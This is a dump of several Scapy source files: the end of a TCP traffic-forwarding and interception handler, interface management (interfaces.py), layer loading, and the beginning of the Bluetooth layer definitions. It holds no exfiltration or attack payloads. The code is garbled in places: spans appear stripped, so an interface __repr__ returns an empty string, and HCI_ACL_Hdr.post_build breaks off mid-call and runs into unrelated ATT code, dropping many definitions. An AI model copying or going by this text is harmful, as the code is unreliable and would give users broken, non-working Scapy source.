oldss.ins.shutdown(socket.SHUT_RDWR) oldss.close() # Replace othersock/thissock if oldss is thissock: thissock = ss else: othersock = ss # Raise what's next. raise ex.then except self.FORWARD: # Forward the data to the other host othersock.send(data) self.print_reply(self.FORWARD, cs, data, None) except self.FORWARD_REPLACE as ex: # Forward custom data to the other host othersock.send(ex.data) self.print_reply(self.FORWARD_REPLACE, cs, data, ex.data) except self.DROP: # Drop self.print_reply(self.DROP, cs, data, None) except self.ANSWER as ex: # Respond with custom data thissock.send(ex.data) self.print_reply(self.ANSWER, cs, data, ex.data) except Exception as ex: # Processing failed. forward to not break anything print( self.ct.orange( "Exception happened in handling client %s ! (forward)" % repr(addr) ) ) traceback.print_exception(ex) othersock.send(data) self.print_reply(self.FORWARD, cs, data, None) except RuntimeError: print(self.ct.red("%s DISCONNECTED !" % repr(addr))) sock.close() ss.close() ================================================ FILE: scapy/interfaces.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ Interfaces management """ import itertools import uuid from collections import defaultdict from scapy.config import conf from scapy.consts import WINDOWS, LINUX from scapy.utils import pretty_list from scapy.utils6 import in6_isvalid # Typing imports import scapy from scapy.compat import UserDict from typing import ( cast, Any, DefaultDict, Dict, List, NoReturn, Optional, Tuple, Type, Union, ) class InterfaceProvider(object): name = "Unknown" headers: Tuple[str, ...] = ("Index", "Name", "MAC", "IPv4", "IPv6") header_sort = 1 libpcap = False def load(self): # type: () -> Dict[str, NetworkInterface] """Returns a dictionary of the loaded interfaces, by their name.""" raise NotImplementedError def reload(self): # type: () -> Dict[str, NetworkInterface] """Same than load() but for reloads. By default calls load""" return self.load() def _l2socket(self, dev): # type: (NetworkInterface) -> Type[scapy.supersocket.SuperSocket] """Return L2 socket used by interfaces of this provider""" return conf.L2socket def _l2listen(self, dev): # type: (NetworkInterface) -> Type[scapy.supersocket.SuperSocket] """Return L2listen socket used by interfaces of this provider""" return conf.L2listen def _l3socket(self, dev, ipv6): # type: (NetworkInterface, bool) -> Type[scapy.supersocket.SuperSocket] """Return L3 socket used by interfaces of this provider""" if LINUX and not self.libpcap and dev.name == conf.loopback_name: # handle the loopback case. see troubleshooting.rst if ipv6: from scapy.supersocket import L3RawSocket6 return cast(Type['scapy.supersocket.SuperSocket'], L3RawSocket6) else: from scapy.supersocket import L3RawSocket return L3RawSocket return conf.L3socket def _is_valid(self, dev): # type: (NetworkInterface) -> bool """Returns whether an interface is valid or not""" return bool((dev.ips[4] or dev.ips[6]) and dev.mac) def _format(self, dev, # type: NetworkInterface **kwargs # type: Any ): # type: (...) -> Tuple[Union[str, List[str]], ...] """Returns the elements used by show() If a tuple is returned, this consist of the strings that will be inlined along with the interface. If a list of tuples is returned, they will be appended one above the other and should all be part of a single interface. """ mac = dev.mac resolve_mac = kwargs.get("resolve_mac", True) if resolve_mac and conf.manufdb and mac: mac = conf.manufdb._resolve_MAC(mac) index = str(dev.index) return (index, dev.description, mac or "", dev.ips[4], dev.ips[6]) def __repr__(self) -> str: """ repr """ return "" % self.name class NetworkInterface(object): def __init__(self, provider, # type: InterfaceProvider data=None, # type: Optional[Dict[str, Any]] ): # type: (...) -> None self.provider = provider self.name = "" self.description = "" self.network_name = "" self.index = -1 self.ip = None # type: Optional[str] self.ips = defaultdict(list) # type: DefaultDict[int, List[str]] self.type = -1 self.mac = None # type: Optional[str] self.dummy = False if data is not None: self.update(data) def update(self, data): # type: (Dict[str, Any]) -> None """Update info about a network interface according to a given dictionary. Such data is provided by providers """ self.name = data.get('name', "") self.description = data.get('description', "") self.network_name = data.get('network_name', "") self.index = data.get('index', 0) self.ip = data.get('ip', "") self.type = data.get('type', -1) self.mac = data.get('mac', "") self.flags = data.get('flags', 0) self.dummy = data.get('dummy', False) for ip in data.get('ips', []): if in6_isvalid(ip): self.ips[6].append(ip) else: self.ips[4].append(ip) # An interface often has multiple IPv6 so we don't store # a "main" one, unlike IPv4. if self.ips[4] and not self.ip: self.ip = self.ips[4][0] def __eq__(self, other): # type: (Any) -> bool if isinstance(other, str): return other in [self.name, self.network_name, self.description] if isinstance(other, NetworkInterface): return self.__dict__ == other.__dict__ return False def __ne__(self, other): # type: (Any) -> bool return not self.__eq__(other) def __hash__(self): # type: () -> int return hash(self.network_name) def is_valid(self): # type: () -> bool if self.dummy: return False return self.provider._is_valid(self) def l2socket(self): # type: () -> Type[scapy.supersocket.SuperSocket] return self.provider._l2socket(self) def l2listen(self): # type: () -> Type[scapy.supersocket.SuperSocket] return self.provider._l2listen(self) def l3socket(self, ipv6=False): # type: (bool) -> Type[scapy.supersocket.SuperSocket] return self.provider._l3socket(self, ipv6) def __repr__(self): # type: () -> str return "<%s %s [%s]>" % (self.__class__.__name__, self.description, self.dummy and "dummy" or (self.flags or "")) def __str__(self): # type: () -> str return self.network_name def __add__(self, other): # type: (str) -> str return self.network_name + other def __radd__(self, other): # type: (str) -> str return other + self.network_name _GlobInterfaceType = Union[NetworkInterface, str] class NetworkInterfaceDict(UserDict[str, NetworkInterface]): """Store information about network interfaces and convert between names""" def __init__(self): # type: () -> None self.providers = {} # type: Dict[Type[InterfaceProvider], InterfaceProvider] # noqa: E501 super(NetworkInterfaceDict, self).__init__() def _load(self, dat, # type: Dict[str, NetworkInterface] prov, # type: InterfaceProvider ): # type: (...) -> None for ifname, iface in dat.items(): if ifname in self.data: # Handle priorities: keep except if libpcap if prov.libpcap: self.data[ifname] = iface else: self.data[ifname] = iface def register_provider(self, provider): # type: (type) -> None prov = provider() self.providers[provider] = prov if self.data: # late registration self._load(prov.reload(), prov) def load_confiface(self): # type: () -> None """ Reload conf.iface """ # Can only be called after conf.route is populated if not conf.route: raise ValueError("Error: conf.route isn't populated !") conf.iface = get_working_if() # type: ignore def _reload_provs(self): # type: () -> None self.clear() for prov in self.providers.values(): self._load(prov.reload(), prov) def reload(self): # type: () -> None self._reload_provs() if not conf.route: # routes are not loaded yet. return self.load_confiface() def dev_from_name(self, name): # type: (str) -> NetworkInterface """Return the first network device name for a given device name. """ try: return next(iface for iface in self.values() if (iface.name == name or iface.description == name)) except (StopIteration, RuntimeError): raise ValueError("Unknown network interface %r" % name) def dev_from_networkname(self, network_name): # type: (str) -> NoReturn """Return interface for a given network device name.""" try: return next(iface for iface in self.values() # type: ignore if iface.network_name == network_name) except (StopIteration, RuntimeError): raise ValueError( "Unknown network interface %r" % network_name) def dev_from_index(self, if_index): # type: (int) -> NetworkInterface """Return interface name from interface index""" try: if_index = int(if_index) # Backward compatibility return next(iface for iface in self.values() if iface.index == if_index) except (StopIteration, RuntimeError): if str(if_index) == "1": # Test if the loopback interface is set up return self.dev_from_networkname(conf.loopback_name) raise ValueError("Unknown network interface index %r" % if_index) def _add_fake_iface(self, ifname, mac="00:00:00:00:00:00", ips=["127.0.0.1", "::"]): # type: (str, str, List[str]) -> None """Internal function used for a testing purpose""" data = { 'name': ifname, 'description': ifname, 'network_name': ifname, 'index': -1000, 'dummy': True, 'mac': mac, 'flags': 0, 'ips': ips, # Windows only 'guid': "{%s}" % uuid.uuid1(), 'ipv4_metric': 0, 'ipv6_metric': 0, 'nameservers': [], } if WINDOWS: from scapy.arch.windows import NetworkInterface_Win, \ WindowsInterfacesProvider class FakeProv(WindowsInterfacesProvider): name = "fake" self.data[ifname] = NetworkInterface_Win( FakeProv(), data ) else: self.data[ifname] = NetworkInterface(InterfaceProvider(), data) def show(self, print_result=True, hidden=False, **kwargs): # type: (bool, bool, **Any) -> Optional[str] """ Print list of available network interfaces in human readable form :param print_result: print the results if True, else return it :param hidden: if True, also displays invalid interfaces """ res = defaultdict(list) for iface_name in sorted(self.data): dev = self.data[iface_name] if not hidden and not dev.is_valid(): continue prov = dev.provider res[(prov.headers, prov.header_sort)].append( (prov.name,) + prov._format(dev, **kwargs) ) output = "" for key in res: hdrs, sortBy = key output += pretty_list( res[key], [("Source",) + hdrs], sortBy=sortBy ) + "\n" output = output[:-1] if print_result: print(output) return None else: return output def __repr__(self): # type: () -> str return self.show(print_result=False) # type: ignore conf.ifaces = IFACES = ifaces = NetworkInterfaceDict() def get_if_list(): # type: () -> List[str] """Return a list of interface names""" return list(conf.ifaces.keys()) def get_working_if(): # type: () -> Optional[NetworkInterface] """Return an interface that works""" # return the interface associated with the route with smallest # mask (route by default if it exists) routes = conf.route.routes[:] routes.sort(key=lambda x: x[1]) ifaces = (x[3] for x in routes) # First check the routing ifaces from best to worse, # then check all the available ifaces as backup. for ifname in itertools.chain(ifaces, conf.ifaces.values()): try: iface = conf.ifaces.dev_from_networkname(ifname) # type: ignore if iface.is_valid(): return iface except ValueError: pass # There is no hope left try: return conf.ifaces.dev_from_networkname(conf.loopback_name) except ValueError: return None def get_working_ifaces(): # type: () -> List[NetworkInterface] """Return all interfaces that work""" return [iface for iface in conf.ifaces.values() if iface.is_valid()] def dev_from_networkname(network_name): # type: (str) -> NetworkInterface """Return Scapy device name for given network device name""" return conf.ifaces.dev_from_networkname(network_name) def dev_from_index(if_index): # type: (int) -> NetworkInterface """Return interface for a given interface index""" return conf.ifaces.dev_from_index(if_index) def resolve_iface(dev, retry=True): # type: (_GlobInterfaceType, bool) -> NetworkInterface """ Resolve an interface name into the interface """ if isinstance(dev, NetworkInterface): return dev try: return conf.ifaces.dev_from_name(dev) except ValueError: try: return conf.ifaces.dev_from_networkname(dev) except ValueError: pass if not retry: raise ValueError("Interface '%s' not found !" % dev) # Nothing found yet. Reload to detect if it was added recently conf.ifaces.reload() return resolve_iface(dev, retry=False) def network_name(dev): # type: (_GlobInterfaceType) -> str """ Resolves the device network name of a device or Scapy NetworkInterface """ return resolve_iface(dev).network_name def show_interfaces(resolve_mac=True): # type: (bool) -> None """Print list of available network interfaces""" return conf.ifaces.show(resolve_mac) # type: ignore ================================================ FILE: scapy/layers/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Layer package. """ # Make sure config is loaded import scapy.config # noqa: F401 ================================================ FILE: scapy/layers/all.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ All layers. Configurable with conf.load_layers. """ import builtins import logging # We import conf from arch to make sure arch specific layers are populated from scapy.arch import conf from scapy.error import log_loading from scapy.main import load_layer ignored = list(builtins.__dict__) + ["sys"] log = logging.getLogger("scapy.loading") __all__ = [] for _l in conf.load_layers: log_loading.debug("Loading layer %s", _l) try: load_layer(_l, globals_dict=globals(), symb_list=__all__) except Exception as e: log.warning("can't import layer %s: %s", _l, e) try: del _l except NameError: pass ================================================ FILE: scapy/layers/bluetooth.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi # Copyright (C) Mike Ryan # Copyright (C) Michael Farrell # Copyright (C) Haram Park """ Bluetooth layers, sockets and send/receive functions. """ import ctypes import functools import socket import struct import select from ctypes import sizeof from scapy.config import conf from scapy.data import ( DLT_BLUETOOTH_HCI_H4, DLT_BLUETOOTH_HCI_H4_WITH_PHDR, DLT_BLUETOOTH_LINUX_MONITOR, BLUETOOTH_CORE_COMPANY_IDENTIFIERS ) from scapy.packet import bind_layers, Packet from scapy.fields import ( BitField, XBitField, ByteEnumField, ByteField, FieldLenField, FieldListField, FlagsField, IntField, LEShortEnumField, LEShortField, LEIntField, LenField, MultipleTypeField, NBytesField, PacketListField, PadField, ShortField, SignedByteField, StrField, StrFixedLenField, StrLenField, StrNullField, UUIDField, XByteField, XLE3BytesField, XLELongField, XStrLenField, XLEShortField, XLEIntField, LEMACField, BitEnumField, LEThreeBytesField, ) from scapy.supersocket import SuperSocket from scapy.sendrecv import sndrcv from scapy.data import MTU from scapy.consts import WINDOWS from scapy.error import warning ############ # Consts # ############ # From hci.h HCI_CHANNEL_RAW = 0 HCI_CHANNEL_USER = 1 HCI_CHANNEL_MONITOR = 2 HCI_CHANNEL_CONTROL = 3 HCI_CHANNEL_LOGGING = 4 HCI_DEV_NONE = 0xffff ########## # Layers # ########## # See bluez/lib/hci.h for details # Transport layers class HCI_PHDR_Hdr(Packet): name = "HCI PHDR transport layer" fields_desc = [IntField("direction", 0)] # Real layers _bluetooth_packet_types = { 0: "Acknowledgement", 1: "Command", 2: "ACL Data", 3: "Synchronous", 4: "Event", 5: "Reserve", 14: "Vendor", 15: "Link Control" } _bluetooth_error_codes = { 0x00: "Success", 0x01: "Unknown HCI Command", 0x02: "Unknown Connection Identifier", 0x03: "Hardware Failure", 0x04: "Page Timeout", 0x05: "Authentication Failure", 0x06: "PIN or Key Missing", 0x07: "Memory Capacity Exceeded", 0x08: "Connection Timeout", 0x09: "Connection Limit Exceeded", 0x0A: "Synchronous Connection Limit To A Device Exceeded", 0x0B: "Connection Already Exists", 0x0C: "Command Disallowed", 0x0D: "Connection Rejected due to Limited Resources", 0x0E: "Connection Rejected Due To Security Reasons", 0x0F: "Connection Rejected due to Unacceptable BD_ADDR", 0x10: "Connection Accept Timeout Exceeded", 0x11: "Unsupported Feature or Parameter Value", 0x12: "Invalid HCI Command Parameters", 0x13: "Remote User Terminated Connection", 0x14: "Remote Device Terminated Connection due to Low Resources", 0x15: "Remote Device Terminated Connection due to Power Off", 0x16: "Connection Terminated By Local Host", 0x17: "Repeated Attempts", 0x18: "Pairing Not Allowed", 0x19: "Unknown LMP PDU", 0x1A: "Unsupported Remote Feature / Unsupported LMP Feature", 0x1B: "SCO Offset Rejected", 0x1C: "SCO Interval Rejected", 0x1D: "SCO Air Mode Rejected", 0x1E: "Invalid LMP Parameters / Invalid LL Parameters", 0x1F: "Unspecified Error", 0x20: "Unsupported LMP Parameter Value / Unsupported LL Parameter Value", 0x21: "Role Change Not Allowed", 0x22: "LMP Response Timeout / LL Response Timeout", 0x23: "LMP Error Transaction Collision / LL Procedure Collision", 0x24: "LMP PDU Not Allowed", 0x25: "Encryption Mode Not Acceptable", 0x26: "Link Key cannot be Changed", 0x27: "Requested QoS Not Supported", 0x28: "Instant Passed", 0x29: "Pairing With Unit Key Not Supported", 0x2A: "Different Transaction Collision", 0x2B: "Reserved for future use", 0x2C: "QoS Unacceptable Parameter", 0x2D: "QoS Rejected", 0x2E: "Channel Classification Not Supported", 0x2F: "Insufficient Security", 0x30: "Parameter Out Of Mandatory Range", 0x31: "Reserved for future use", 0x32: "Role Switch Pending", 0x33: "Reserved for future use", 0x34: "Reserved Slot Violation", 0x35: "Role Switch Failed", 0x36: "Extended Inquiry Response Too Large", 0x37: "Secure Simple Pairing Not Supported By Host", 0x38: "Host Busy - Pairing", 0x39: "Connection Rejected due to No Suitable Channel Found", 0x3A: "Controller Busy", 0x3B: "Unacceptable Connection Parameters", 0x3C: "Advertising Timeout", 0x3D: "Connection Terminated due to MIC Failure", 0x3E: "Connection Failed to be Established / Synchronization Timeout", 0x3F: "MAC Connection Failed", 0x40: "Coarse Clock Adjustment Rejected but Will Try to Adjust Using Clock" " Dragging", 0x41: "Type0 Submap Not Defined", 0x42: "Unknown Advertising Identifier", 0x43: "Limit Reached", 0x44: "Operation Cancelled by Host", 0x45: "Packet Too Long" } _att_error_codes = { 0x01: "invalid handle", 0x02: "read not permitted", 0x03: "write not permitted", 0x04: "invalid pdu", 0x05: "insufficient auth", 0x06: "unsupported req", 0x07: "invalid offset", 0x08: "insufficient author", 0x09: "prepare queue full", 0x0a: "attr not found", 0x0b: "attr not long", 0x0c: "insufficient key size", 0x0d: "invalid value size", 0x0e: "unlikely", 0x0f: "insufficiet encrypt", 0x10: "unsupported gpr type", 0x11: "insufficient resources", } _bluetooth_features = [ '3_slot_packets', '5_slot_packets', 'encryption', 'slot_offset', 'timing_accuracy', 'role_switch', 'hold_mode', 'sniff_mode', 'park_mode', 'power_control_requests', 'channel_quality_driven_data_rate', 'sco_link', 'hv2_packets', 'hv3_packets', 'u_law_log_synchronous_data', 'a_law_log_synchronous_data', 'cvsd_synchronous_data', 'paging_parameter_negotiation', 'power_control', 'transparent_synchronous_data', 'flow_control_lag_4_bit0', 'flow_control_lag_4_bit1', 'flow_control_lag_4_bit2', 'broadband_encryption', 'cvsd_synchronous_data', 'edr_acl_2_mbps_mode', 'edr_acl_3_mbps_mode', 'enhanced_inquiry_scan', 'interlaced_inquiry_scan', 'interlaced_page_scan', 'rssi_with_inquiry_results', 'ev3_packets', 'ev4_packets', 'ev5_packets', 'reserved', 'afh_capable_slave', 'afh_classification_slave', 'br_edr_not_supported', 'le_supported_controller', '3_slot_edr_acl_packets', '5_slot_edr_acl_packets', 'sniff_subrating', 'pause_encryption', 'afh_capable_master', 'afh_classification_master', 'edr_esco_2_mbps_mode', 'edr_esco_3_mbps_mode', '3_slot_edr_esco_packets', 'extended_inquiry_response', 'simultaneous_le_and_br_edr_to_same_device_capable_controller', 'reserved2', 'secure_simple_pairing', 'encapsulated_pdu', 'erroneous_data_reporting', 'non_flushable_packet_boundary_flag', 'reserved3', 'link_supervision_timeout_changed_event', 'inquiry_tx_power_level', 'enhanced_power_control', 'reserved4_bit0', 'reserved4_bit1', 'reserved4_bit2', 'reserved4_bit3', 'extended_features', ] _bluetooth_core_specification_versions = { 0x00: '1.0b', 0x01: '1.1', 0x02: '1.2', 0x03: '2.0+EDR', 0x04: '2.1+EDR', 0x05: '3.0+HS', 0x06: '4.0', 0x07: '4.1', 0x08: '4.2', 0x09: '5.0', 0x0a: '5.1', 0x0b: '5.2', 0x0c: '5.3', 0x0d: '5.4', 0x0e: '6.0', } class HCI_Hdr(Packet): name = "HCI header" fields_desc = [ByteEnumField("type", 2, _bluetooth_packet_types)] def mysummary(self): return self.sprintf("HCI %type%") class HCI_ACL_Hdr(Packet): name = "HCI ACL header" fields_desc = [BitField("BC", 0, 2, tot_size=-2), BitField("PB", 0, 2), BitField("handle", 0, 12, end_tot_size=-2), LEShortField("len", None), ] def post_build(self, p, pay): p += pay if self.len is None: p = p[:2] + struct.pack("= pkt.len: return functools.partial( ATT_Handle_Variable, val_length=pkt.len - 2 ) return None class ATT_Read_Request(Packet): name = "Read Request" fields_desc = [XLEShortField("gatt_handle", 0), ] class ATT_Read_Response(Packet): name = "Read Response" fields_desc = [StrField("value", "")] class ATT_Read_Multiple_Request(Packet): name = "Read Multiple Request" fields_desc = [FieldListField("handles", [], XLEShortField("", 0))] class ATT_Read_Multiple_Response(Packet): name = "Read Multiple Response" fields_desc = [StrField("values", "")] class ATT_Read_By_Group_Type_Request(Packet): name = "Read By Group Type Request" fields_desc = [XLEShortField("start", 0), XLEShortField("end", 0xffff), XLEShortField("uuid", 0), ] class ATT_Read_By_Group_Type_Response(Packet): name = "Read By Group Type Response" fields_desc = [XByteField("length", 0), StrField("data", ""), ] class ATT_Write_Request(Packet): name = "Write Request" fields_desc = [XLEShortField("gatt_handle", 0), StrField("data", ""), ] class ATT_Write_Command(Packet): name = "Write Request" fields_desc = [XLEShortField("gatt_handle", 0), StrField("data", ""), ] class ATT_Write_Response(Packet): name = "Write Response" class ATT_Prepare_Write_Request(Packet): name = "Prepare Write Request" fields_desc = [ XLEShortField("gatt_handle", 0), LEShortField("offset", 0), StrField("data", "") ] class ATT_Prepare_Write_Response(ATT_Prepare_Write_Request): name = "Prepare Write Response" class ATT_Handle_Value_Notification(Packet): name = "Handle Value Notification" fields_desc = [XLEShortField("gatt_handle", 0), StrField("value", ""), ] class ATT_Execute_Write_Request(Packet): name = "Execute Write Request" fields_desc = [ ByteEnumField("flags", 1, { 0: "Cancel all prepared writes", 1: "Immediately write all pending prepared values", }), ] class ATT_Execute_Write_Response(Packet): name = "Execute Write Response" class ATT_Read_Blob_Request(Packet): name = "Read Blob Request" fields_desc = [ XLEShortField("gatt_handle", 0), LEShortField("offset", 0) ] class ATT_Read_Blob_Response(Packet): name = "Read Blob Response" fields_desc = [ StrField("value", "") ] class ATT_Handle_Value_Indication(Packet): name = "Handle Value Indication" fields_desc = [ XLEShortField("gatt_handle", 0), StrField("value", ""), ] class SM_Hdr(Packet): name = "SM header" fields_desc = [ByteField("sm_command", None)] class SM_Pairing_Request(Packet): name = "Pairing Request" fields_desc = [ByteEnumField("iocap", 3, {0: "DisplayOnly", 1: "DisplayYesNo", 2: "KeyboardOnly", 3: "NoInputNoOutput", 4: "KeyboardDisplay"}), # noqa: E501 ByteEnumField("oob", 0, {0: "Not Present", 1: "Present (from remote device)"}), # noqa: E501 BitField("authentication", 0, 8), ByteField("max_key_size", 16), ByteField("initiator_key_distribution", 0), ByteField("responder_key_distribution", 0), ] class SM_Pairing_Response(Packet): name = "Pairing Response" fields_desc = [ByteEnumField("iocap", 3, {0: "DisplayOnly", 1: "DisplayYesNo", 2: "KeyboardOnly", 3: "NoInputNoOutput", 4: "KeyboardDisplay"}), # noqa: E501 ByteEnumField("oob", 0, {0: "Not Present", 1: "Present (from remote device)"}), # noqa: E501 BitField("authentication", 0, 8), ByteField("max_key_size", 16), ByteField("initiator_key_distribution", 0), ByteField("responder_key_distribution", 0), ] class SM_Confirm(Packet): name = "Pairing Confirm" fields_desc = [StrFixedLenField("confirm", b'\x00' * 16, 16)] class SM_Random(Packet): name = "Pairing Random" fields_desc = [StrFixedLenField("random", b'\x00' * 16, 16)] class SM_Failed(Packet): name = "Pairing Failed" fields_desc = [XByteField("reason", 0)] class SM_Encryption_Information(Packet): name = "Encryption Information" fields_desc = [StrFixedLenField("ltk", b"\x00" * 16, 16), ] class SM_Master_Identification(Packet): name = "Master Identification" fields_desc = [XLEShortField("ediv", 0), StrFixedLenField("rand", b'\x00' * 8, 8), ] class SM_Identity_Information(Packet): name = "Identity Information" fields_desc = [StrFixedLenField("irk", b'\x00' * 16, 16), ] class SM_Identity_Address_Information(Packet): name = "Identity Address Information" fields_desc = [ByteEnumField("atype", 0, {0: "public"}), LEMACField("address", None), ] class SM_Signing_Information(Packet): name = "Signing Information" fields_desc = [StrFixedLenField("csrk", b'\x00' * 16, 16), ] class SM_Security_Request(Packet): name = "Security Request" fields_desc = [BitField("auth_req", 0, 8), ] class SM_Public_Key(Packet): name = "Public Key" fields_desc = [StrFixedLenField("key_x", b'\x00' * 32, 32), StrFixedLenField("key_y", b'\x00' * 32, 32), ] class SM_DHKey_Check(Packet): name = "DHKey Check" fields_desc = [StrFixedLenField("dhkey_check", b'\x00' * 16, 16), ] class EIR_Hdr(Packet): name = "EIR Header" fields_desc = [ LenField("len", None, fmt="B", adjust=lambda x: x + 1), # Add bytes mark # noqa: E501 # https://www.bluetooth.com/specifications/assigned-numbers/generic-access-profile ByteEnumField("type", 0, { 0x01: "flags", 0x02: "incomplete_list_16_bit_svc_uuids", 0x03: "complete_list_16_bit_svc_uuids", 0x04: "incomplete_list_32_bit_svc_uuids", 0x05: "complete_list_32_bit_svc_uuids", 0x06: "incomplete_list_128_bit_svc_uuids", 0x07: "complete_list_128_bit_svc_uuids", 0x08: "shortened_local_name", 0x09: "complete_local_name", 0x0a: "tx_power_level", 0x0d: "class_of_device", 0x0e: "simple_pairing_hash", 0x0f: "simple_pairing_rand", 0x10: "sec_mgr_tk", 0x11: "sec_mgr_oob_flags", 0x12: "slave_conn_intvl_range", 0x14: "list_16_bit_svc_sollication_uuids", 0x15: "list_128_bit_svc_sollication_uuids", 0x16: "svc_data_16_bit_uuid", 0x17: "pub_target_addr", 0x18: "rand_target_addr", 0x19: "appearance", 0x1a: "adv_intvl", 0x1b: "le_addr", 0x1c: "le_role", 0x1d: "simple_pairing_hash_256", 0x1e: "simple_pairing_rand_256", 0x1f: "list_32_bit_svc_sollication_uuids", 0x20: "svc_data_32_bit_uuid", 0x21: "svc_data_128_bit_uuid", 0x22: "sec_conn_confirm", 0x23: "sec_conn_rand", 0x24: "uri", 0x25: "indoor_positioning", 0x26: "transport_discovery", 0x27: "le_supported_features", 0x28: "channel_map_update", 0x29: "mesh_pb_adv", 0x2a: "mesh_message", 0x2b: "mesh_beacon", 0x3d: "3d_information", 0xff: "mfg_specific_data", }), ] def mysummary(self): return self.sprintf("EIR %type%") def guess_payload_class(self, payload): if self.len == 0: # For Extended_Inquiry_Response, stop when len=0 return conf.padding_layer return super(EIR_Hdr, self).guess_payload_class(payload) class EIR_Element(Packet): name = "EIR Element" def extract_padding(self, s): # Needed to end each EIR_Element packet and make PacketListField work. return b'', s @staticmethod def length_from(pkt): if not pkt.underlayer: warning("Missing an upper-layer") return 0 # 'type' byte is included in the length, so subtract 1: return pkt.underlayer.len - 1 class EIR_Raw(EIR_Element): name = "EIR Raw" fields_desc = [ StrLenField("data", "", length_from=EIR_Element.length_from) ] class EIR_Flags(EIR_Element): name = "Flags" fields_desc = [ FlagsField("flags", 0x2, 8, ["limited_disc_mode", "general_disc_mode", "br_edr_not_supported", "simul_le_br_edr_ctrl", "simul_le_br_edr_host"] + 3 * ["reserved"]) ] class EIR_CompleteList16BitServiceUUIDs(EIR_Element): name = "Complete list of 16-bit service UUIDs" fields_desc = [ # https://www.bluetooth.com/specifications/assigned-numbers/16-bit-uuids-for-members FieldListField("svc_uuids", None, XLEShortField("uuid", 0), length_from=EIR_Element.length_from) ] class EIR_IncompleteList16BitServiceUUIDs(EIR_CompleteList16BitServiceUUIDs): name = "Incomplete list of 16-bit service UUIDs" class EIR_CompleteList32BitServiceUUIDs(EIR_Element): name = 'Complete list of 32-bit service UUIDs' fields_desc = [ # https://www.bluetooth.com/specifications/assigned-numbers FieldListField('svc_uuids', None, XLEIntField('uuid', 0), length_from=EIR_Element.length_from) ] class EIR_IncompleteList32BitServiceUUIDs(EIR_CompleteList32BitServiceUUIDs): name = 'Incomplete list of 32-bit service UUIDs' class EIR_CompleteList128BitServiceUUIDs(EIR_Element): name = "Complete list of 128-bit service UUIDs" fields_desc = [ FieldListField("svc_uuids", None, UUIDField("uuid", None, uuid_fmt=UUIDField.FORMAT_REV), length_from=EIR_Element.length_from) ] class EIR_IncompleteList128BitServiceUUIDs(EIR_CompleteList128BitServiceUUIDs): name = "Incomplete list of 128-bit service UUIDs" class EIR_CompleteLocalName(EIR_Element): name = "Complete Local Name" fields_desc = [ StrLenField("local_name", "", length_from=EIR_Element.length_from) ] class EIR_ShortenedLocalName(EIR_CompleteLocalName): name = "Shortened Local Name" class EIR_TX_Power_Level(EIR_Element): name = "TX Power Level" fields_desc = [SignedByteField("level", 0)] class EIR_ClassOfDevice(EIR_Element): name = 'Class of device' fields_desc = [ FlagsField('major_service_classes', 0, 11, [ 'limited_discoverable_mode', 'le_audio', 'reserved', 'positioning', 'networking', 'rendering', 'capturing', 'object_transfer', 'audio', 'telephony', 'information' ], tot_size=-3), BitEnumField('major_device_class', 0, 5, { 0x00: 'miscellaneous', 0x01: 'computer', 0x02: 'phone', 0x03: 'lan', 0x04: 'audio_video', 0x05: 'peripheral', 0x06: 'imaging', 0x07: 'wearable', 0x08: 'toy', 0x09: 'health', 0x1f: 'uncategorized' }), BitField('minor_device_class', 0, 6), BitField('fixed', 0, 2, end_tot_size=-3) ] class EIR_SecureSimplePairingHashC192(EIR_Element): name = 'Secure Simple Pairing Hash C-192' fields_desc = [NBytesField('hash', 0, 16)] class EIR_SecureSimplePairingRandomizerR192(EIR_Element): name = 'Secure Simple Pairing Randomizer R-192' fields_desc = [NBytesField('randomizer', 0, 16)] class EIR_SecurityManagerOOBFlags(EIR_Element): name = 'Security Manager Out of Band Flags' fields_desc = [ BitField('oob_flags_field', 0, 1), BitField('le_supported', 0, 1), BitField('previously_used', 0, 1), BitField('address_type', 0, 1), BitField('reserved', 0, 4) ] class EIR_PeripheralConnectionIntervalRange(EIR_Element): name = 'Peripheral Connection Interval Range' fields_desc = [ LEShortField('conn_interval_min', 0xFFFF), LEShortField('conn_interval_max', 0xFFFF) ] class EIR_Manufacturer_Specific_Data(EIR_Element): name = "EIR Manufacturer Specific Data" deprecated_fields = { "company_id": ("company_identifier", "2.6.2"), } fields_desc = [ # https://www.bluetooth.com/specifications/assigned-numbers/company-identifiers LEShortEnumField("company_identifier", None, BLUETOOTH_CORE_COMPANY_IDENTIFIERS), ] registered_magic_payloads = {} @classmethod def register_magic_payload(cls, payload_cls, magic_check=None): """ Registers a payload type that uses magic data. Traditional payloads require registration of a Bluetooth Company ID (requires company membership of the Bluetooth SIG), or a Bluetooth Short UUID (requires a once-off payment). There are alternatives which don't require registration (such as 128-bit UUIDs), but the biggest consumer of energy in a beacon is the radio -- so the energy consumption of a beacon is proportional to the number of bytes in a beacon frame. Some beacon formats side-step this issue by using the Company ID of their beacon hardware manufacturer, and adding a "magic data sequence" at the start of the Manufacturer Specific Data field. Examples of this are AltBeacon and GeoBeacon. For an example of this method in use, see ``scapy.contrib.altbeacon``. :param Type[scapy.packet.Packet] payload_cls: A reference to a Packet subclass to register as a payload. :param Callable[[bytes], bool] magic_check: (optional) callable to use to if a payload should be associated with this type. If not supplied, ``payload_cls.magic_check`` is used instead. :raises TypeError: If ``magic_check`` is not specified, and ``payload_cls.magic_check`` is not implemented. """ if magic_check is None: if hasattr(payload_cls, "magic_check"): magic_check = payload_cls.magic_check else: raise TypeError("magic_check not specified, and {} has no " "attribute magic_check".format(payload_cls)) cls.registered_magic_payloads[payload_cls] = magic_check def default_payload_class(self, payload): for cls, check in ( EIR_Manufacturer_Specific_Data.registered_magic_payloads.items() ): if check(payload): return cls return Packet.default_payload_class(self, payload) def extract_padding(self, s): # Needed to end each EIR_Element packet and make PacketListField work. plen = EIR_Element.length_from(self) - 2 return s[:plen], s[plen:] class EIR_Device_ID(EIR_Element): name = "Device ID" fields_desc = [ XLEShortField("vendor_id_source", 0), XLEShortField("vendor_id", 0), XLEShortField("product_id", 0), XLEShortField("version", 0), ] class EIR_ServiceSolicitation16BitUUID(EIR_Element): name = "EIR Service 